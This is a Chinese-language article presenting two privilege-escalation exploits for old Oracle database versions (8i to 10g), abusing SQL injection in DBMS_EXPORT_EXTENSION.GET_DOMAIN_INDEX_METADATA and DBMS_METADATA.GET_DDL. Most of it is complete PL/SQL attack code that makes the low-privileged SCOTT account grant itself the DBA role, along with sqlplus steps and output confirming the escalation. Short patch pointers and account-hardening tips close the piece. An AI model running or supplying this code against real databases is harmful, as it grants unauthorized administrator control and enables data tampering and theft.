oracle 10g 漏洞--低权限用户提权方法

oracle 低权限用户提权方法:
【漏洞名称】 sys.dbms_export_extension.get_domain_index_metadata 提升权限漏洞
【影响平台】Oracle 8i / 9i / 10g / XE
【风险等级】高
【攻击需求】较低权限账号
【造成危害】取得管理员权限
【内容描述】
oracle Database Server 8.1.7.4, 9.0.1.5, 9.2.0.7, 10.1.0.5及其他版本可以允许远端攻击者执行任意SQL命令,
由于DBMS_EXPORT_EXTENSION package 中的GET_DOMAIN_INDEX_METADATA 程序存在漏洞远端
攻击者可以送出特殊建立的SQL命令来提升权限以及新增,修改,删除数据库。
【测试代码】
1、用scott/tiger登陆Oracle,scott 是oracle内建用户,权限较低,通过执行特殊参数的命令可以提升为DBA。
sqlplus scott/tiger@orcl
2、查询scott的当前角色
SQL> select * from session_roles;
ROLE
------------------------------------------------------------
CONNECT
RESOURCE
可以看到scott只有CONNECT和RESOURCE两个权限较低的角色
3、利用漏洞执行权限提升
SQL>
-- Create a function in a package first and inject this function. The function will be executed as user SYS.
Create or REPLACE
PACKAGE HACKERPACKAGE AUTHID CURRENT_USER
IS
FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3 VARCHAR2,p4 VARCHAR2,env
SYS.odcienv)
RETURN NUMBER;
END;
/
Create or REPLACE PACKAGE BODY HACKERPACKAGE
IS
FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3 VARCHAR2,p4 VARCHAR2,env
SYS.odcienv)
RETURN NUMBER
IS
pragma autonomous_transaction;
BEGIN
EXECUTE IMMEDIATE 'GRANT DBATO SCOTT';
COMMIT;
RETURN(1);
END;
END;
/
-- Inject the function in dbms_export_extension
DECLARE
INDEX_NAME VARCHAR2(200);
INDEX_SCHEMAVARCHAR2(200);
TYPE_NAME VARCHAR2(200);
TYPE_SCHEMAVARCHAR2(200);
VERSION VARCHAR2(200);
NEWBLOCK PLS_INTEGER;
GMFLAGS NUMBER;
v_Return VARCHAR2(200);
BEGIN
INDEX_NAME := 'A1';
INDEX_SCHEMA := 'SCOTT';
TYPE_NAME := 'HACKERPACKAGE';
TYPE_SCHEMA := 'SCOTT';
VERSION := '9.2.0.1.0';
GMFLAGS := 1;
v_Return := SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_METADATA(INDEX_NAME =>
INDEX_NAME,
INDEX_SCHEMA=> INDEX_SCHEMA,
TYPE_NAME => TYPE_NAME,
TYPE_SCHEMA => TYPE_SCHEMA,
VERSION => VERSION,
NEWBLOCK => NEWBLOCK,
GMFLAGS => GMFLAGS);
END;
/
sqlplus中显示"PL/SQL procedure successfully completed",提升权限成功。
4、断开连接
SQL> disc;
5、重新连接
SQL> conn scott/tiger@orcl;
6、再次查询scott的当前角色
SQL> select * from session_roles;
ROLE
------------------------------------------------------------
CONNECT
RESOURCE
DBA
Select_CATALOG_ROLE
HS_ADMIN_ROLE
EXECUTE_CATALOG_ROLE
Delete_CATALOG_ROLE
EXP_FULL_DATABASE
IMP_FULL_DATABASE
GATHER_SYSTEM_STATISTICS
WM_ADMIN_ROLE
ROLE
------------------------------------------------------------
JAVA_ADMIN
JAVA_DEPLOY
XDBADMIN
OLAP_DBA
已选择15行。
看到权限已经提升为DBA
【修补方式】
参考Oracle Critical Pat

ch Update -April 2006,执行修补.
===========================传说中的分割线=============================
【漏洞名称】 sys.dbms_metadata.get_ddl 提升权限漏洞
【影响平台】Oracle 9i / 10g
【风险等级】高
【攻击需求】较低权限账号
【造成危害】取得管理员权限
【内容描述】
oracle Database server 9.2.0.7 and 10.1.0.5存在SQL注入弱点, sys.dbms_metadata.get_ddl允许用户以DBA
权限执行命令,通过验证的用户可以利用此弱点取得管理员权限。
【测试代码】
1、用scott/tiger登陆Oracle,scott 是oracle内建用户,权限较低,通过执行特殊参数的命令可以提升为DBA。
sqlplus scott/tiger@orcl
2、查询scott的当前角色
SQL> select * from session_roles;
ROLE
------------------------------------------------------------
CONNECT
RESOURCE
可以看到scott只有CONNECT和RESOURCE两个权限较低的角色
3、利用漏洞执行权限提升,在SQLPlus中执行如下语句:
SQL>
-- Create a function first and inject this function. The function will be executed as user SYS.
Create or REPLACE FUNCTION "SCOTT"."ATTACK_FUNC" return varchar2
authid current_user as
pragma autonomous_transaction;
BEGIN
EXECUTE IMMEDIATE 'GRANT DBATO SCOTT';
COMMIT;
RETURN '';
END;
/
-- Inject the function in the vulnerable procedure
Select SYS.DBMS_METADATA.GET_DDL('''||SCOTT.ATTACK_FUNC()||''','') FROM dual;
错误:
orA-31600: invalid input value '||SCOTT.ATTACK_FUNC()||' for parameter OBJECT_TYPE in function
GET_DDL
orA-06512: at "SYS.DBMS_SYS_ERROR", line 105
orA-06512: at "SYS.DBMS_METADATA_INT", line 1536
orA-06512: at "SYS.DBMS_METADATA_INT", line 1900
orA-06512: at "SYS.DBMS_METADATA_INT", line 3606
orA-06512: at "SYS.DBMS_METADATA", line 504
orA-06512: at "SYS.DBMS_METADATA", line 560
orA-06512: at "SYS.DBMS_METADATA", line 1221
orA-06512: at line 1
4、断开连接
SQL> disc;
5、重新连接
SQL> conn scott/tiger@orcl;
6、再次查询scott的当前角色
SQL> select * from session_roles;
ROLE
------------------------------------------------------------
CONNECT
RESOURCE
DBA
Select_CATALOG_ROLE
HS_ADMIN_ROLE
EXECUTE_CATALOG_ROLE
Delete_CATALOG_ROLE
EXP_FULL_DATABASE
IMP_FULL_DATABASE
GATHER_SYSTEM_STATISTICS
WM_ADMIN_ROLE
ROLE
------------------------------------------------------------
JAVA_ADMIN
JAVA_DEPLOY
XDBADMIN
OLAP_DBA
已选择15行。
看到权限已经提升为DBA
【修补方式】
Revoke the grants or apply the patches mentioned in oracle Critical Patch Update April 2005.
日常修补小结:
扫描检测一下自己的数据库有否存在激活状态的默认用户,自己新创建的用户和密码尽量不
要一样,有的扫描工具就是通过用户表来探测的,就算你帐号是自己创建的,经过我的实践
如果新创建的用户和密码一样的话,也会被探测的出来的。
给 SYS和SYSTEM用户设置一个比较复杂的密码,其

他一般用户都设置为到期(EXPIRED)
或者锁定(LOCKED),修改DBSNMP,SCOTT密码,按需分配授权,把无关的授权撤消。
好了,本文到此就结束了。谢谢大家耐心浏览到这里,以上是个人经验及观点,难免有错漏,
望谅解。

相关文档
最新文档